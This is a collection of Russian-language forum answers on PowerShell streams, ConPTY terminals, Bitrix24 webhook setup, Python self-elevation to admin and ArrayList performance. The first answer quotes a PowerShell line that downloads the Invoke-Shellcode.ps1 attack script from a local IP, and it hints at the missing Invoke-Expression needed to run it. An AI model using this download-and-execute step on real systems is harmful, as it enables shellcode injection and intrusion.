MaxKozlov

(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")

помимо ненужного Invoke-Expression у вас ещё протокол не указан. точнее, скорее всего вы его удалили при редактировании, потому что в ошибке-то он есть :)

p.s. пентест при таких вводных - не очень убедительно

Источники мудрости
Rest API от Bitrix24
Статья от intervolga
Возможно, вариант решения через bitrix:rest.marketplace.localapp. У меня не заработало
Рабочее решение

https обязателен

1. Предполагается что страничка секретная или даже одноразовая, только для получения хука
   /local/rest/index.php
   

   <?php require_once($_SERVER['DOCUMENT_ROOT'] . 
       "/bitrix/modules/main/include/prolog_admin.php"); ?>
      <div class="adm-workarea">
          <? $APPLICATION->IncludeComponent(
              "bitrix:rest.hook",
              ".default",
              [
                  "SEF_MODE" => "Y",
                  "SEF_FOLDER" => "/local/rest/",
                  "COMPONENT_TEMPLATE" => ".default",
                  "SEF_URL_TEMPLATES" => [
                      "list" => "",
                      "event_list" => "event/",
                      "event_edit" => "event/#id#/",
                      "ap_list" => "ap/",
                      "ap_edit" => "ap/#id#/",
                  ]
              ],
              false
          ); ?>
          <br>
          <a href="javascript:void(0)" class="adm-btn adm-btn-green"
              onclick="BX.PopupMenu.show('rest_hook_menu', this, [{
                 'href':'/local/rest/event/0/',
                 'text':'Исходящий вебхук'
              },{
                 'href':'/local/rest/ap/0/',
                 'text':'Входящий вебхук'
              }])">
              Добавить вебхук
          </a>
      </div>
   <? require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/epilog_admin.php");

   
   
2. в urlrewrite.php добавляем
   

   array(
      'CONDITION' => '#^/local/rest/#',
      'RULE' => '',
      'ID' => 'bitrix:rest.hook',
      'PATH' => '/local/rest/index.php',
   ),

   
   
3. Надо убедиться, что urlrewrite.php битрикса отрабатывает ссылки на нашу страницу вида /local/rest/ap/0/
   
4. Заходим на свежесозданную страницу, добавляем там свой входящий хук
   
5. Получаем пару client_id / secret_id
   
6. Используем в запросах вида
   

   https: //site.domain/rest/17607/p8n2dh2hf2nf258n/profile/

   
   

Это статейка про консоль, в которой объясняется что да как (там серия)

Introducing the Windows Pseudo Console (ConPTY)

А это пример самописного терминала, который таки реагирует на стрелку вверх 0x1b[A так, как вам бы хотелось, при отключении PSReadline
Правда у него чуть другая проблема - на цвета не реагирует :) 0x1b[XXXXXm
Описание (соседние примеры тоже полезны)
Исходники

А теперь вопрос, правильно ли я понимаю, что при вводе например первого символа f из foobar фактически в powershell вводятся следующая последовательность: \b\b\b\bfhey1 ?

Нет, вы неправильно понимаете.
В powershell(а, точнее, в поток) уйдёт чистая строка. все перемещения курсора и тд не имеют никакого отношения к потокам ввода\вывода.
В поток введённые данные отправятся после enter.
Командная строка(терминал) - это куда более сложная сущность, чем просто комбинация потоков ввода и вывода.
а конкретно в powershell это ещё и разбавляется встроенным модулем подсветки синтаксиса PSReadline

P.S.
И, если уж быть полностью корректным, то Write-Host - это именно вывод в хост(терминал), чисто в поток вывода powershell оно не попадает. Для вывода в поток есть Write-Output. А то, что вывел Write-Host, попадает в поток вывода, который вы, например, можете записать в файл, уже из терминала.

Попробуйте в консоли Powershell:

PS D:\> Write-Host 'tohost' > d:\111
tohost
PS D:\> Get-Content d:\111
PS D:\> Write-Output 'tooutput' > d:\111
PS D:\> Get-Content d:\111
tooutput
PS D:\>

Разницу замечаете ?

А теперь сравните результат с

Powershell -Noprofile -Command "Write-Host 'tohost'; Write-Output 'tooutput' " > D:\111
Powershell -Noprofile -Command "Get-Content d:\111"

hint: полностью вывод попадает в файл только в последнем примере

Вот тут есть метод запуска самого себя из под админа
https://stackoverflow.com/a/41930586

import ctypes, sys

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

if is_admin():
    # Code of your program here
    print("I'm admin")
    input()
else:
    # Re-run the program with admin rights
    ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)

Берём отсюда последнюю строчку и вместо sys.executable ставим slmgr.vbs и тд
или можно вместо 'i'm admin' вставить

ctypes.windll.shell32.ShellExecuteW(None, "", "slmgr.vbs", "/ipk W269N-WFGWX-YVC9B-4J6C9-T83GX", None, 1)

Стоит проверить что именно у вас долгое
Import-csv вы никак не ускорите.
А вот $dataColl - реальный кандидат на ускорение
Проще всего использовать ArrayList вместо массива

...
$dataColl = New-Object System.Collections.ArrayList
foreach  ($Path in $Paths){
....
    [void]$dataColl.Add($dataObject)
  }
}
...

И вообще, массивы для коллекционирования более 1000 элементов - тормоза, потому что они каждый раз пересоздаются и копируются из старого в новый.

Measure-Command { $a = @(); 1..1000 | %{ $a += $_ } }

    TotalMilliseconds : 40,3721

Measure-Command { $a = New-Object System.Collections.ArrayList; 1..1000 | %{ [void]$a.Add($_) } }

    TotalMilliseconds : 18,5863

# А для 10000 уже
   TotalMilliseconds : 2016,3737
  vs
   TotalMilliseconds : 57,6177

p.s. Кстати да, Роман Безруков верно заметил, что новый массив создавать вообще не обязательно. Но информация выше сильно влияет на работу, так что оставлю :)